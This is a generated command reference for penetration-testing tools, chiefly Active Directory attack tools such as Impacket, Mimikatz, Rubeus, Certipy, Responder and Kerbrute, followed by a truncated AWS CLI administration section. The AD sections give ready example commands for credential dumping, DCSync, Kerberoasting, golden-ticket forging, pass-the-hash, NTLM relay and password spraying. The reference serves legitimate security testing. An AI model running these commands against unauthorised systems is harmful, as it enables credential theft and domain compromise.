# Terminal — full reference > Searchable, copy-ready command references for penetration testing, network analysis, forensics, cloud security and Linux administration — with explanations for every command. Generated 2026-11-06. 200 tools, 10273 commands. Source: https://terminal.rokibulroni.com # Tool: BloodHound.py > A Python ingestor for BloodHound that collects Active Directory objects, ACLs and sessions from Linux, revealing attack paths to high-value targets. - Category: Active Directory - Commands: 8 - Page: https://terminal.rokibulroni.com/tool/active-directory/bloodhound-python - Homepage: https://github.com/dirkjanm/BloodHound.py - Documentation: https://github.com/dirkjanm/BloodHound.py - Tags: Active Directory, BloodHound, enumeration, attack paths ## Install - pipx: `pipx install bloodhound` ## Collection ### bloodhound-python -u -p -d -ns -c Default ```bash bloodhound-python -u -p -d -ns -c Default ``` Example: ```bash bloodhound-python -u svc -p pass -d corp.local -ns 10.10.10.1 -c Default ``` Collects AD objects and relationships over LDAP and saves JSON for BloodHound. ### bloodhound-python -u -p -d -ns -c All ```bash bloodhound-python -u -p -d -ns -c All ``` Example: ```bash bloodhound-python -u svc -p pass -d corp.local -ns 10.10.10.1 -c All ``` Runs every collection method, including session and local-admin enumeration. ### bloodhound-python -u --hashes : -d -ns -c All ```bash bloodhound-python -u --hashes : -d -ns -c All ``` Example: ```bash bloodhound-python -u svc --hashes :31d6cfe0d16ae931b73c59d7e0c089c0 -d corp.local -ns 10.10.10.1 -c All ``` Collects using pass-the-hash instead of a password. ### bloodhound-python -u -p -d -ns -c All --zip ```bash bloodhound-python -u -p -d -ns -c All --zip ``` Example: ```bash bloodhound-python -u svc -p pass -d corp.local -ns 10.10.10.1 -c All --zip ``` Bundles the JSON output into a single zip for import. ### bloodhound-python -u -p -d -dc -ns -c All ```bash bloodhound-python -u -p -d -dc -ns -c All ``` Example: ```bash bloodhound-python -u svc -p pass -d corp.local -dc dc01.corp.local -ns 10.10.10.1 -c All ``` Targets a named domain controller when DNS is awkward. ## Using the data ### sudo neo4j console ```bash sudo neo4j console ``` Starts the Neo4j database that the BloodHound GUI reads. ### bloodhound ```bash bloodhound ``` Launches the BloodHound GUI; drag the collected zip onto it to import. ### MATCH p=shortestPath((u {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p ```bash MATCH p=shortestPath((u {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p ``` A Cypher query in the GUI: the shortest path from an owned node to Domain Admins. ## Related tools - [CrackMapExec / NetExec](https://terminal.rokibulroni.com/tool/lateral/crackmapexec) - [Impacket](https://terminal.rokibulroni.com/tool/active-directory/impacket) - [ldapsearch](https://terminal.rokibulroni.com/tool/enumeration/ldapsearch) - [Certipy](https://terminal.rokibulroni.com/tool/active-directory/certipy) # Tool: Certipy > A tool for enumerating and abusing Active Directory Certificate Services (AD CS) — vulnerable templates, certificate theft and shadow credentials. - Category: Active Directory - Commands: 6 - Page: https://terminal.rokibulroni.com/tool/active-directory/certipy - Homepage: https://github.com/ly4k/Certipy - Documentation: https://github.com/ly4k/Certipy - Tags: Active Directory, AD CS, certificates, privilege escalation ## Install - pipx: `pipx install certipy-ad` ## Enumeration ### certipy find -u @ -p -dc-ip ```bash certipy find -u @ -p -dc-ip ``` Example: ```bash certipy find -u svc@corp.local -p pass -dc-ip 10.10.10.1 ``` Enumerates AD Certificate Services and flags vulnerable templates (ESC1–ESC16). ### certipy find -u @ -p -dc-ip -vulnerable -stdout ```bash certipy find -u @ -p -dc-ip -vulnerable -stdout ``` Example: ```bash certipy find -u svc@corp.local -p pass -dc-ip 10.10.10.1 -vulnerable -stdout ``` Prints only the vulnerable templates to the terminal. ## Abuse (ESC1) ### certipy req -u @ -p -ca -target -template -upn ```bash certipy req -u @ -p -ca -target -template -upn ``` Example: ```bash certipy req -u svc@corp.local -p pass -ca CORP-CA -target ca.corp.local -template VulnTemplate -upn administrator@corp.local ``` Requests a certificate as another user through a misconfigured template. ### certipy auth -pfx .pfx -dc-ip ```bash certipy auth -pfx .pfx -dc-ip ``` Example: ```bash certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1 ``` Authenticates with the issued certificate and returns a TGT and the NT hash. ## Shadow credentials & more ### certipy shadow auto -u @ -p -account ```bash certipy shadow auto -u @ -p -account ``` Example: ```bash certipy shadow auto -u svc@corp.local -p pass -account victim ``` Adds a Key Credential to a target account and retrieves its NT hash (needs write rights). ### certipy ca -u @ -p -ca -list-templates ```bash certipy ca -u @ -p -ca -list-templates ``` Example: ```bash certipy ca -u svc@corp.local -p pass -ca CORP-CA -list-templates ``` Inspects the certificate authority and its templates. ## Related tools - [Impacket](https://terminal.rokibulroni.com/tool/active-directory/impacket) - [BloodHound.py](https://terminal.rokibulroni.com/tool/active-directory/bloodhound-python) - [CrackMapExec / NetExec](https://terminal.rokibulroni.com/tool/lateral/crackmapexec) # Tool: Impacket > A collection of Python classes and ready-made scripts for Windows network protocols (SMB, MS-RPC, Kerberos, LDAP) — the backbone of modern Active Directory exploitation. - Category: Active Directory - Commands: 13 - Page: https://terminal.rokibulroni.com/tool/active-directory/impacket - Homepage: https://github.com/fortra/impacket - Documentation: https://github.com/fortra/impacket - Tags: Active Directory, Kerberos, SMB, Python ## Install - apt: `sudo apt install python3-impacket` - pipx: `pipx install impacket` ## Credentials & hashes ### secretsdump.py /:@ ```bash secretsdump.py /:@ ``` Example: ```bash secretsdump.py corp.local/svc:Summer2026@10.10.10.5 ``` Dumps SAM, LSA secrets and cached domain credentials from a host over SMB. ### secretsdump.py -just-dc /@ ```bash secretsdump.py -just-dc /@ ``` Example: ```bash secretsdump.py -just-dc corp.local/administrator@10.10.10.1 ``` DCSync: pulls every domain hash straight from a domain controller (needs replication rights). ### secretsdump.py -just-dc-ntlm /@ ```bash secretsdump.py -just-dc-ntlm /@ ``` Example: ```bash secretsdump.py -just-dc-ntlm corp.local/administrator@10.10.10.1 ``` Only NTLM hashes from the DC, skipping Kerberos keys. ### getTGT.py / -hashes : ```bash getTGT.py / -hashes : ``` Example: ```bash getTGT.py corp.local/svc -hashes :aad3b435b51404eeaad3b435b51404ee ``` Requests a Kerberos TGT with a password or NT hash and saves a .ccache for pass-the-ticket. ## Kerberos attacks ### GetNPUsers.py / -usersfile -no-pass -dc-ip ```bash GetNPUsers.py / -usersfile -no-pass -dc-ip ``` Example: ```bash GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.1 ``` AS-REP roasting: pulls crackable hashes for accounts that do not require Kerberos pre-authentication. ### GetUserSPNs.py /: -dc-ip -request ```bash GetUserSPNs.py /: -dc-ip -request ``` Example: ```bash GetUserSPNs.py corp.local/svc:pass -dc-ip 10.10.10.1 -request ``` Kerberoasting: requests service tickets for SPN accounts and outputs hashes to crack offline. ### ticketer.py -nthash -domain-sid -domain ```bash ticketer.py -nthash -domain-sid -domain ``` Example: ```bash ticketer.py -nthash abc123 -domain-sid S-1-5-21-111-222-333 -domain corp.local Administrator ``` Forges a golden or silver ticket from the krbtgt or a service account hash. ## Remote execution ### psexec.py /:@ ```bash psexec.py /:@ ``` Example: ```bash psexec.py corp.local/administrator:pass@10.10.10.5 ``` A SYSTEM shell via a temporary Windows service over SMB. ### wmiexec.py /:@ ```bash wmiexec.py /:@ ``` Example: ```bash wmiexec.py corp.local/administrator:pass@10.10.10.5 ``` A semi-interactive shell over WMI, quieter than psexec. ### psexec.py -hashes : /@ ```bash psexec.py -hashes : /@ ``` Example: ```bash psexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 corp.local/administrator@10.10.10.5 ``` Pass-the-hash: authenticates with an NT hash instead of a password. ## Relaying & databases ### ntlmrelayx.py -tf -smb2support ```bash ntlmrelayx.py -tf -smb2support ``` Example: ```bash ntlmrelayx.py -tf targets.txt -smb2support ``` Relays captured NTLM authentication to other hosts; pair with Responder in analyze mode. ### ntlmrelayx.py -t ldap:// --escalate-user ```bash ntlmrelayx.py -t ldap:// --escalate-user ``` Example: ```bash ntlmrelayx.py -t ldap://10.10.10.1 --escalate-user lowpriv ``` Relays to LDAP to grant a controlled user DCSync rights. ### mssqlclient.py /:@ ```bash mssqlclient.py /:@ ``` Example: ```bash mssqlclient.py corp.local/sa:pass@10.10.10.9 ``` Connects to MSSQL for enumeration and xp_cmdshell execution. ## Related tools - [CrackMapExec / NetExec](https://terminal.rokibulroni.com/tool/lateral/crackmapexec) - [Certipy](https://terminal.rokibulroni.com/tool/active-directory/certipy) - [Responder](https://terminal.rokibulroni.com/tool/active-directory/responder) - [Mimikatz](https://terminal.rokibulroni.com/tool/active-directory/mimikatz) # Tool: Kerbrute > A fast Go tool for Kerberos pre-authentication: username enumeration and password spraying against a domain controller, with no Windows event 4625 noise. - Category: Active Directory - Commands: 5 - Page: https://terminal.rokibulroni.com/tool/active-directory/kerbrute - Homepage: https://github.com/ropnop/kerbrute - Documentation: https://github.com/ropnop/kerbrute - Tags: Active Directory, Kerberos, password spraying, enumeration ## Install - go: `go install github.com/ropnop/kerbrute@latest` ## Enumeration ### kerbrute userenum -d --dc ```bash kerbrute userenum -d --dc ``` Example: ```bash kerbrute userenum -d corp.local --dc 10.10.10.1 users.txt ``` Validates which usernames exist by watching Kerberos pre-auth responses — quiet and does not lock accounts. ## Password attacks ### kerbrute passwordspray -d --dc ```bash kerbrute passwordspray -d --dc ``` Example: ```bash kerbrute passwordspray -d corp.local --dc 10.10.10.1 valid_users.txt Spring2026! ``` Tries one password against many users, staying under lockout thresholds. ### kerbrute bruteuser -d --dc ```bash kerbrute bruteuser -d --dc ``` Example: ```bash kerbrute bruteuser -d corp.local --dc 10.10.10.1 passwords.txt admin ``` Tries many passwords against one user (watch the lockout policy). ### kerbrute passwordspray -d --dc --safe ```bash kerbrute passwordspray -d --dc --safe ``` Example: ```bash kerbrute passwordspray -d corp.local --dc 10.10.10.1 --safe users.txt Winter2026 ``` Stops immediately if any account shows signs of being locked. ## Output ### kerbrute userenum -d --dc -o ```bash kerbrute userenum -d --dc -o ``` Example: ```bash kerbrute userenum -d corp.local --dc 10.10.10.1 users.txt -o valid.txt ``` Writes valid results to a file for the next stage. ## Related tools - [Impacket](https://terminal.rokibulroni.com/tool/active-directory/impacket) - [CrackMapExec / NetExec](https://terminal.rokibulroni.com/tool/lateral/crackmapexec) - [Hydra](https://terminal.rokibulroni.com/tool/credentials/hydra) # Tool: Mimikatz > The classic Windows post-exploitation tool for extracting plaintext passwords, hashes and Kerberos tickets from memory, and for pass-the-hash, pass-the-ticket and golden-ticket attacks. - Category: Active Directory - Commands: 11 - Page: https://terminal.rokibulroni.com/tool/active-directory/mimikatz - Homepage: https://github.com/gentilkiwi/mimikatz - Documentation: https://github.com/gentilkiwi/mimikatz/wiki - Tags: Active Directory, credentials, Kerberos, post-exploitation ## Install - other: `Download signed binaries from https://github.com/gentilkiwi/mimikatz/releases` ## Credentials ### privilege::debug ```bash privilege::debug ``` Enables the debug privilege; most credential commands need it. Run mimikatz as administrator first. ### sekurlsa::logonpasswords ```bash sekurlsa::logonpasswords ``` Dumps plaintext passwords, NT hashes and Kerberos tickets for logged-on users from LSASS memory. ### sekurlsa::ekeys ```bash sekurlsa::ekeys ``` Extracts Kerberos encryption keys, including AES, from memory. ### lsadump::sam ```bash lsadump::sam ``` Dumps local account hashes from the SAM. ### lsadump::lsa /patch ```bash lsadump::lsa /patch ``` Dumps LSA secrets and cached domain credentials. ## Kerberos tickets ### sekurlsa::tickets /export ```bash sekurlsa::tickets /export ``` Exports all Kerberos tickets in memory to .kirbi files for pass-the-ticket. ### kerberos::ptt .kirbi ```bash kerberos::ptt .kirbi ``` Example: ```bash kerberos::ptt ticket.kirbi ``` Injects a ticket into the current session (pass-the-ticket). ### lsadump::dcsync /domain: /user: ```bash lsadump::dcsync /domain: /user: ``` Example: ```bash lsadump::dcsync /domain:corp.local /user:krbtgt ``` DCSync: pulls a user’s hashes from a DC, famously the krbtgt key for golden tickets. ### kerberos::golden /user: /domain: /sid: /krbtgt: /ptt ```bash kerberos::golden /user: /domain: /sid: /krbtgt: /ptt ``` Example: ```bash kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-111-222-333 /krbtgt:abc123 /ptt ``` Forges and injects a golden ticket from the krbtgt hash. ## Pass-the-hash ### sekurlsa::pth /user: /domain: /ntlm: /run: ```bash sekurlsa::pth /user: /domain: /ntlm: /run: ``` Example: ```bash sekurlsa::pth /user:administrator /domain:corp.local /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0 /run:cmd.exe ``` Starts a process in the context of a user using only their NT hash. ### crypto::capi / crypto::cng ```bash crypto::capi / crypto::cng ``` Makes non-exportable certificate private keys exportable. ## Related tools - [Impacket](https://terminal.rokibulroni.com/tool/active-directory/impacket) - [CrackMapExec / NetExec](https://terminal.rokibulroni.com/tool/lateral/crackmapexec) - [Rubeus](https://terminal.rokibulroni.com/tool/active-directory/rubeus) - [Certipy](https://terminal.rokibulroni.com/tool/active-directory/certipy) # Tool: Responder > An LLMNR, NBT-NS and mDNS poisoner that captures Windows authentication hashes on a local network, and a staging ground for NTLM relay attacks. - Category: Active Directory - Commands: 8 - Page: https://terminal.rokibulroni.com/tool/active-directory/responder - Homepage: https://github.com/lgandx/Responder - Documentation: https://github.com/lgandx/Responder - Tags: Active Directory, NTLM, poisoning, MITM ## Install - apt: `sudo apt install responder` - pipx: `pipx install git+https://github.com/lgandx/Responder` ## Poisoning ### sudo responder -I ```bash sudo responder -I ``` Example: ```bash sudo responder -I eth0 ``` Answers LLMNR, NBT-NS and mDNS queries to capture NetNTLM hashes from hosts looking up bad names. ### sudo responder -I -w ```bash sudo responder -I -w ``` Example: ```bash sudo responder -I eth0 -w ``` Also starts the rogue WPAD proxy to capture HTTP authentication. ### sudo responder -I -dw ```bash sudo responder -I -dw ``` Example: ```bash sudo responder -I eth0 -dwv ``` Enables answers for more query types plus verbose output. ### sudo responder -I -A ```bash sudo responder -I -A ``` Example: ```bash sudo responder -I eth0 -A ``` Analyze mode: watches and logs poisoning opportunities without actually answering — safe for recon. ## Relaying setup ### sudo responder -I with SMB=Off, HTTP=Off in Responder.conf ```bash sudo responder -I with SMB=Off, HTTP=Off in Responder.conf ``` Example: ```bash sudo nano /usr/share/responder/Responder.conf ``` Turn the SMB and HTTP servers off so ntlmrelayx can bind them for relaying. ### sudo responder -I -A then run ntlmrelayx.py -tf targets.txt ```bash sudo responder -I -A then run ntlmrelayx.py -tf targets.txt ``` Example: ```bash sudo responder -I eth0 -A ``` Pairs Responder (listening only) with Impacket ntlmrelayx to relay captured auth. ## Loot ### ls /usr/share/responder/logs/ ```bash ls /usr/share/responder/logs/ ``` Captured NetNTLMv1/v2 hashes are written here, one file per protocol and host. ### hashcat -m 5600 ```bash hashcat -m 5600 ``` Example: ```bash hashcat -m 5600 logs/SMB-NTLMv2-SSP-10.10.10.7.txt rockyou.txt ``` Cracks captured NetNTLMv2 hashes. ## Related tools - [Impacket](https://terminal.rokibulroni.com/tool/active-directory/impacket) - [CrackMapExec / NetExec](https://terminal.rokibulroni.com/tool/lateral/crackmapexec) - [Hashcat](https://terminal.rokibulroni.com/tool/credentials/hashcat) # Tool: Rubeus > A C# toolset for raw Kerberos interaction and abuse on Windows: ticket requests, Kerberoasting, AS-REP roasting, pass-the-ticket and delegation attacks. - Category: Active Directory - Commands: 7 - Page: https://terminal.rokibulroni.com/tool/active-directory/rubeus - Homepage: https://github.com/GhostPack/Rubeus - Documentation: https://github.com/GhostPack/Rubeus - Tags: Active Directory, Kerberos, roasting, delegation ## Install - other: `Compile from source with Visual Studio, or use a trusted precompiled build` ## Ticket requests ### Rubeus.exe asktgt /user: /password: /domain: ```bash Rubeus.exe asktgt /user: /password: /domain: ``` Example: ```bash Rubeus.exe asktgt /user:svc /password:Pass123 /domain:corp.local ``` Requests a TGT and prints it; add /ptt to inject it into the session. ### Rubeus.exe asktgt /user: /rc4: /ptt ```bash Rubeus.exe asktgt /user: /rc4: /ptt ``` Example: ```bash Rubeus.exe asktgt /user:svc /rc4:31d6cfe0d16ae931b73c59d7e0c089c0 /ptt ``` Overpass-the-hash: turns an NT hash into a usable Kerberos ticket. ## Roasting ### Rubeus.exe kerberoast /outfile: ```bash Rubeus.exe kerberoast /outfile: ``` Example: ```bash Rubeus.exe kerberoast /outfile:hashes.txt ``` Requests service tickets for all SPN accounts and writes crackable hashes. ### Rubeus.exe asreproast /format:hashcat /outfile: ```bash Rubeus.exe asreproast /format:hashcat /outfile: ``` Example: ```bash Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt ``` AS-REP roasting for accounts without pre-authentication, in hashcat format. ## Harvesting & abuse ### Rubeus.exe harvest /interval: ```bash Rubeus.exe harvest /interval: ``` Example: ```bash Rubeus.exe harvest /interval:30 ``` Continuously collects TGTs from memory and renews them. ### Rubeus.exe monitor /interval: ```bash Rubeus.exe monitor /interval: ``` Example: ```bash Rubeus.exe monitor /interval:5 ``` Watches for new logons and captures their tickets — useful after a coerced authentication. ### Rubeus.exe s4u /user: /rc4: /impersonateuser: /msdsspn: /ptt ```bash Rubeus.exe s4u /user: /rc4: /impersonateuser: /msdsspn: /ptt ``` Example: ```bash Rubeus.exe s4u /user:web$ /rc4:abc123 /impersonateuser:administrator /msdsspn:cifs/fs01.corp.local /ptt ``` Abuses constrained delegation to impersonate a user to a service. ## Related tools - [Mimikatz](https://terminal.rokibulroni.com/tool/active-directory/mimikatz) - [Impacket](https://terminal.rokibulroni.com/tool/active-directory/impacket) - [Certipy](https://terminal.rokibulroni.com/tool/active-directory/certipy) - [Hashcat](https://terminal.rokibulroni.com/tool/credentials/hashcat) # Tool: AWS CLI > Amazon’s official command line for AWS: manage IAM, S3, EC2, Lambda and every other service, and audit an account’s configuration. - Category: Cloud - Commands: 92 - Page: https://terminal.rokibulroni.com/tool/cloud/awscli - Homepage: https://aws.amazon.com/cli/ - Documentation: https://docs.aws.amazon.com/cli/latest/reference/ - Tags: AWS, cloud, IAM ## Install - brew: `brew install awscli` - pipx: `pipx install awscli` - windows: `winget install Amazon.AWSCLI` - other: `curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o awscliv2.zip && unzip awscliv2.zip && sudo ./aws/install` ## Basic Syntax & Version ### aws --version ```bash aws --version ``` Outputs the installed AWS CLI version, Python runtime, and host operating system details for environment verification. Use this command to ensure your local installation meets the minimum requirements for specific service features or scripts. ## Configuration ### aws configure ```bash aws configure ``` Initiates an interactive setup to define your Access Key ID, Secret Access Key, default region, and preferred output format. Run this as a first-time setup step to establish the local credentials and configuration files required for authenticated API calls. ### aws configure list ```bash aws configure list ``` Displays a structured summary of current configuration data and identifies the source, such as environment variables or config files. Utilize this for troubleshooting to determine which specific profile or credential source is currently being prioritized by the CLI. ### aws configure list-profiles ```bash aws configure list-profiles ``` Enumerates all named profiles configured within your local credentials file to provide a clear view of available identity contexts. Apply this to quickly verify the aliases of different AWS accounts or roles you have saved for use with the --profile flag. ## Identity (STS) ### aws sts get-caller-identity ```bash aws sts get-caller-identity ``` Retrieves details about the active IAM identity, including the Account ID, User/Role ARN, and unique identifier. Perform this check as a security best practice to confirm you are operating under the correct identity before executing cloud operations. ### aws sts decode-authorization-message ```bash aws sts decode-authorization-message ``` Example: ```bash aws sts decode-authorization-message --encoded-message ``` Translates the encrypted error message from a denied API request into a readable format to reveal the specific policy violation. Execute this command to identify which IAM policy, permission boundary, or SCP is preventing a specific action from succeeding. ## IAM (Users) ### aws iam list-users ```bash aws iam list-users ``` Example: ```bash aws iam list-users --output table ``` Lists all IAM users within the current AWS account and organizes the data into a readable table for administrative review. Use this to audit existing user identities and track metadata such as account creation dates and unique user paths. ### aws iam get-user ```bash aws iam get-user ``` Example: ```bash aws iam get-user --user-name Alice ``` Retrieves comprehensive details for a specific IAM user, including their ARN, creation date, and current tags. Employ this command to verify the specific configuration of an identity or to fetch the exact ARN needed for resource-based policies. ## IAM (Roles) ### aws iam list-roles ```bash aws iam list-roles ``` Example: ```bash aws iam list-roles --query 'Roles[].RoleName' ``` Enumerates all IAM roles in the account and applies a JMESPath filter to isolate and display only the role names. Use this for high-level auditing of existing service and user roles to ensure naming conventions and role sprawl are managed. ## IAM (Policies) ### aws iam list-attached-user-policies ```bash aws iam list-attached-user-policies ``` Example: ```bash aws iam list-attached-user-policies --user-name Alice ``` Identifies all managed IAM policies directly attached to a specified user to verify their current permission set. Apply this to perform security gap analysis and ensure that users are not granted excessive permissions through direct attachments. ## IAM (Security) ### aws iam get-account-password-policy ```bash aws iam get-account-password-policy ``` Retrieves the global password complexity and rotation requirements defined for the entire AWS account. Utilize this command to verify that your account's security posture aligns with industry compliance standards and internal audit policies. ### aws iam generate-credential-report ```bash aws iam generate-credential-report ``` Initiates the generation of a comprehensive account-wide report detailing the status of every user's credentials and MFA settings. Run this periodically to perform security audits, identifying inactive users or credentials that require rotation or deletion. ## S3 (Storage) ### aws s3 ls ```bash aws s3 ls ``` Lists all S3 buckets available in the current account or the contents of a specific bucket if a path is provided. Use this for quick navigation and verification of storage resources before initiating file transfers or management tasks. ### aws s3 mb ```bash aws s3 mb ``` Example: ```bash aws s3 mb s3://my-new-bucket-name ``` Creates a new S3 bucket in the default or specified region to provide a storage container for cloud data. Ensure bucket names are globally unique to avoid naming conflicts during the creation of new storage resources. ## S3 (Operations) ### aws s3 cp ```bash aws s3 cp ``` Example: ```bash aws s3 cp file.txt s3://my-bucket/file.txt ``` Copies local files to S3, from S3 to local, or between two S3 buckets while maintaining data integrity. Utilize this command for manual uploads or downloads of critical assets and configuration files to and from the cloud. ### aws s3 sync ```bash aws s3 sync ``` Example: ```bash aws s3 sync ./local-folder s3://my-bucket/remote-folder --delete ``` Synchronizes a local directory with an S3 prefix by only transferring new or modified files to optimize bandwidth. Incorporate the --delete flag to mirror environments exactly, removing files from the destination that no longer exist in the source. ## S3 (Management) ### aws s3api list-buckets ```bash aws s3api list-buckets ``` Example: ```bash aws s3api list-buckets --query "Buckets[].Name" ``` Accesses the low-level S3 control plane to list buckets and enables advanced filtering via the --query parameter. Use the s3api variant when you require raw JSON output for programmatic integration or complex filtering of bucket metadata. ## S3 (Security) ### aws s3api get-bucket-encryption ```bash aws s3api get-bucket-encryption ``` Example: ```bash aws s3api get-bucket-encryption --bucket my-bucket ``` Retrieves the server-side encryption (SSE) configuration for a bucket to verify that data-at-rest is properly protected. Employ this during security audits to ensure all storage buckets comply with encryption mandates using either AES-256 or AWS KMS. ### aws s3api get-public-access-block ```bash aws s3api get-public-access-block ``` Example: ```bash aws s3api get-public-access-block --bucket my-bucket ``` Checks the status of the Public Access Block settings to ensure a bucket is protected against accidental public exposure. Apply this check as a fundamental security control to prevent sensitive data leaks caused by misconfigured bucket ACLs or policies. ## EC2 (Compute) ### aws ec2 describe-regions ```bash aws ec2 describe-regions ``` Example: ```bash aws ec2 describe-regions --all-regions ``` Lists all available AWS regions along with their respective endpoints to determine where resources can be deployed. Use the --all-regions flag to see both enabled and disabled regions for comprehensive account availability mapping. ### aws ec2 describe-instances ```bash aws ec2 describe-instances ``` Example: ```bash aws ec2 describe-instances --filters "Name=instance-state-name,Values=running" ``` Retrieves detailed metadata for EC2 instances, with the ability to filter based on state, instance type, or tags. Use this to generate an inventory of active compute resources and to check the status of instances during deployment cycles. ## EC2 (JMESPath Query) ### aws ec2 describe-instances --query ```bash aws ec2 describe-instances --query ``` Example: ```bash aws ec2 describe-instances --query "Reservations[*].Instances[*].{PublicIP:PublicIpAddress,Name:Tags[?Key=='Name']|[0].Value,Status:State.Name}" ``` Performs complex server-side filtering to extract specific fields like Public IP and Name tags into a custom JSON or table output. Leverage this advanced query capability to create concise reports for DevOps teams without parsing large amounts of unnecessary metadata. ## EC2 (Management) ### aws ec2 start-instances ```bash aws ec2 start-instances ``` Example: ```bash aws ec2 start-instances --instance-ids i-1234567890abcdef0 ``` Initiates the boot sequence for one or more stopped, EBS-backed EC2 instances to bring them into a running state. Utilize this command to resume workloads or re-enable development environments that were stopped to save on compute costs. ### aws ec2 stop-instances ```bash aws ec2 stop-instances ``` Example: ```bash aws ec2 stop-instances --instance-ids i-1234567890abcdef0 ``` Sends a shutdown signal to specified EBS-backed instances, moving them to a 'stopped' state while preserving the disk state. Apply this command as a cost-saving measure for non-production instances or during scheduled maintenance windows. ## VPC (Networking) ### aws ec2 describe-vpcs ```bash aws ec2 describe-vpcs ``` Returns a list of Virtual Private Clouds within the region, providing CIDR blocks, tenancy info, and VPC state. Use this to map out the network architecture of your account and verify the availability of specific VPC environments. ### aws ec2 describe-subnets ```bash aws ec2 describe-subnets ``` Example: ```bash aws ec2 describe-subnets --filters "Name=vpc-id,Values=vpc-12345678" ``` Lists the subnets associated with a specific VPC, including Availability Zone mappings and available IP counts. Employ this command to ensure resources are being deployed into the correct network tier and to audit available subnet capacity. ## VPC (Security Groups) ### aws ec2 describe-security-groups ```bash aws ec2 describe-security-groups ``` Example: ```bash aws ec2 describe-security-groups --filters Name=group-name,Values=default ``` Retrieves the ingress and egress rules for security groups to audit virtual firewall configurations. Use this to inspect which traffic patterns are permitted for your resources and to identify unused or misconfigured security groups. ## VPC (Security Audit) ### aws ec2 describe-security-group-rules ```bash aws ec2 describe-security-group-rules ``` Example: ```bash aws ec2 describe-security-group-rules --filters Name=security-group-rule-id,Values=sgr-12345 ``` Provides a granular view of specific security group rules, including port ranges and CIDR descriptions. Leverage this command to perform precise security audits and identify overly permissive rules that may violate compliance standards. ## RDS (Database) ### aws rds describe-db-instances ```bash aws rds describe-db-instances ``` Returns detailed information about all provisioned RDS instances, including database engine, status, and endpoint details. Utilize this to monitor database health and retrieve the connection strings required for application configuration. ### aws rds describe-db-snapshots ```bash aws rds describe-db-snapshots ``` Example: ```bash aws rds describe-db-snapshots --db-instance-identifier my-db-instance ``` Lists both automated and manual snapshots for a specific RDS database to verify backup availability. Use this command to identify recovery points for restoration and to audit your database backup and retention policy. ## DynamoDB (Database) ### aws dynamodb list-tables ```bash aws dynamodb list-tables ``` Returns a simple list of all DynamoDB table names created within the current region. Employ this for high-level inventory management and to confirm the existence of NoSQL tables before performing data operations. ## DynamoDB (Data) ### aws dynamodb scan ```bash aws dynamodb scan ``` Example: ```bash aws dynamodb scan --table-name Users --max-items 10 ``` Iterates through all items in a DynamoDB table and returns the results up to the specified limit. Exercise caution with this command on large tables to avoid consuming excessive Read Capacity Units (RCUs). ## Lambda (Serverless) ### aws lambda list-functions ```bash aws lambda list-functions ``` Provides an inventory of all deployed Lambda functions, including runtime environments and memory configurations. Use this to audit serverless workloads and track the various microservices deployed across your account. ### aws lambda get-function ```bash aws lambda get-function ``` Example: ```bash aws lambda get-function --function-name my-function ``` Retrieves the configuration metadata and a temporary download link for the function's deployment package. Utilize this to inspect the current code version or to retrieve a package for local debugging and reverse engineering. ## Lambda (Execution) ### aws lambda invoke ```bash aws lambda invoke ``` Example: ```bash aws lambda invoke --function-name my-function response.json ``` Triggers the execution of a Lambda function and captures the output payload in a specified local file. Use this for testing serverless logic or for manual triggering of backend processes during development and troubleshooting. ## ECS (Containers) ### aws ecs list-clusters ```bash aws ecs list-clusters ``` Lists all Amazon ECS clusters configured in the current region to provide an overview of container orchestration environments. Apply this to identify active compute clusters before managing tasks, services, or container instances. ### aws ecs list-tasks ```bash aws ecs list-tasks ``` Example: ```bash aws ecs list-tasks --cluster default ``` Enumerates the task IDs running within a specific ECS cluster to monitor active container deployments. Employ this command to track the lifecycle of containers and to identify specific task ARNs for further inspection or termination. ## EKS (Kubernetes) ### aws eks list-clusters ```bash aws eks list-clusters ``` Lists all Amazon EKS (Kubernetes) managed clusters available in the specified region. Use this to confirm cluster availability and retrieve the names needed for updating local kubernetes configurations. ### aws eks update-kubeconfig ```bash aws eks update-kubeconfig ``` Example: ```bash aws eks update-kubeconfig --name my-cluster ``` Automatically updates your local ~/.kube/config file with the necessary credentials to interact with an EKS cluster via kubectl. Run this after creating or joining a new cluster to enable standard Kubernetes CLI management tools. ## CloudWatch (Monitoring) ### aws cloudwatch list-metrics ```bash aws cloudwatch list-metrics ``` Example: ```bash aws cloudwatch list-metrics --namespace AWS/EC2 ``` Lists the available metrics for a specific namespace, such as CPU, disk, or network metrics for EC2. Utilize this to identify the exact metric names and dimensions required for creating custom CloudWatch alarms. ## CloudWatch (Logs) ### aws logs describe-log-groups ```bash aws logs describe-log-groups ``` Provides a list of all log groups in CloudWatch, showing retention policies and stored data sizes. Use this for administrative oversight of application and system logging to ensure proper data retention and cost management. ### aws logs filter-log-events ```bash aws logs filter-log-events ``` Example: ```bash aws logs filter-log-events --log-group-name my-logs --filter-pattern "ERROR" ``` Searches through log events using specific patterns to quickly isolate errors or specific transaction IDs. Apply this command during incident response to perform rapid log analysis without manually downloading large log files. ## CloudTrail (Auditing) ### aws cloudtrail describe-trails ```bash aws cloudtrail describe-trails ``` Retrieves the configuration settings for CloudTrail instances to verify that API logging is active in the region. Use this to ensure that your governance and auditing trails are correctly logging to the intended S3 buckets. ### aws cloudtrail get-event-selectors ```bash aws cloudtrail get-event-selectors ``` Example: ```bash aws cloudtrail get-event-selectors --trail-name my-trail ``` Displays the specific data and management events that a trail is configured to capture for audit purposes. Check these settings to verify that critical data operations, such as S3 object access or Lambda executions, are being logged. ## CloudTrail (Investigation) ### aws cloudtrail lookup-events ```bash aws cloudtrail lookup-events ``` Example: ```bash aws cloudtrail lookup-events --lookup-attributes AttributeKey=Username,AttributeValue=Alice ``` Searches the last 90 days of API activity for specific attributes like Username, Event Name, or Resource ID. Employ this during security investigations to trace the actions of a specific user or to see who modified a particular resource. ## Secrets Manager ### aws secretsmanager list-secrets ```bash aws secretsmanager list-secrets ``` Lists the metadata of all secrets managed in the account, including rotation status and last accessed dates. Use this to audit your secret storage and ensure that sensitive credentials are not being hardcoded in applications. ## 